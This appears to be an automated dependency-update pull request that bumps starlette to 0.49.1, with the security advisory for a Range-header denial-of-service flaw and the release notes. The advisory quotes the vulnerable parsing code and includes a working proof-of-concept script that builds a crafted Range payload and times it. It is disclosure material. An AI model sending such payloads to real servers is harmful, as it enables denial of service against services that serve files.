Update dependency starlette to ~=0.49.1 [SECURITY]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
starlette (changelog)	~=0.48.0 -> ~=0.49.1

GitHub Vulnerability Alerts

CVE-2025-62727

Summary

An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).

Details

Starlette parses multi-range requests in FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.

# starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS

class FileResponse(Response):
    @​staticmethod
    def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
        ranges: list[tuple[int, int]] = []
        try:
            units, range_ = http_range.split("=", 1)
        except ValueError:
            raise MalformedRangeHeader()

        # [...]

        ranges = [
            (
                int(_[0]) if _[0] else file_size - int(_[1]),
                int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
            )
            for _ in _RANGE_PATTERN.findall(range_) # vulnerable
            if _ != ("", "")
        ]

The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.

The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.

This affects any Starlette application that uses:

• starlette.staticfiles.StaticFiles (internally returns FileResponse) — starlette/staticfiles.py:178
• Direct starlette.responses.FileResponse responses

PoC

#!/usr/bin/env python3

import sys
import time

try:
    import starlette
    from starlette.responses import FileResponse
except Exception as e:
    print(f"[ERROR] Failed to import starlette: {e}")
    sys.exit(1)

def build_payload(length: int) -> str:
    """Build the Range header value body: '0' * num_zeros + '0-'"""
    return ("0" * length) + "a-"

def test(header: str, file_size: int) -> float:
    start = time.perf_counter()
    try:
        FileResponse._parse_range_header(header, file_size)
    except Exception:
        pass
    end = time.perf_counter()
    elapsed = end - start
    return elapsed

def run_once(num_zeros: int) -> None:
    range_body = build_payload(num_zeros)
    header = "bytes=" + range_body
    # Use a sufficiently large file_size so upper bounds default to file size
    file_size = max(len(range_body) + 10, 1_000_000)
    
    print(f"[DEBUG] range_body length: {len(range_body)} bytes")
    elapsed_time = test(header, file_size)
    print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")

if __name__ == "__main__":
    print(f"[INFO] Starlette Version: {starlette.__version__}")
    for n in [5000, 10000, 20000, 40000]:
        run_once(n)

"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds

[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds

[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds

[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""

Impact

Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.

---

Release Notes

Kludex/starlette (starlette)

v0.49.1: Version 0.49.1

Compare Source

This release fixes a security vulnerability in the parsing logic of the Range header in FileResponse.

You can view the full security advisory: GHSA-7f5h-v6xp-fcq8

Fixed

• Optimize the HTTP ranges parsing logic 4ea6e22b489ec388d6004cfbca52dd5b147127c5

---

Full Changelog: Kludex/starlette@0.49.0...0.49.1

v0.49.0: Version 0.49.0

Compare Source

Added

• Add encoding parameter to Config class #​2996.
• Support multiple cookie headers in Request.cookies #​3029.
• Use Literal type for WebSocketEndpoint encoding values #​3027.

Changed

• Do not pollute exception context in Middleware when using BaseHTTPMiddleware #​2976.

---

New Contributors

• @​TheWesDias made their first contribution in #​3017
• @​gmos2104 made their first contribution in #​3027
• @​secrett2633 made their first contribution in #​2996
• @​adam-sikora made their first contribution in #​2976

Full Changelog: Kludex/starlette@0.48.0...0.49.0

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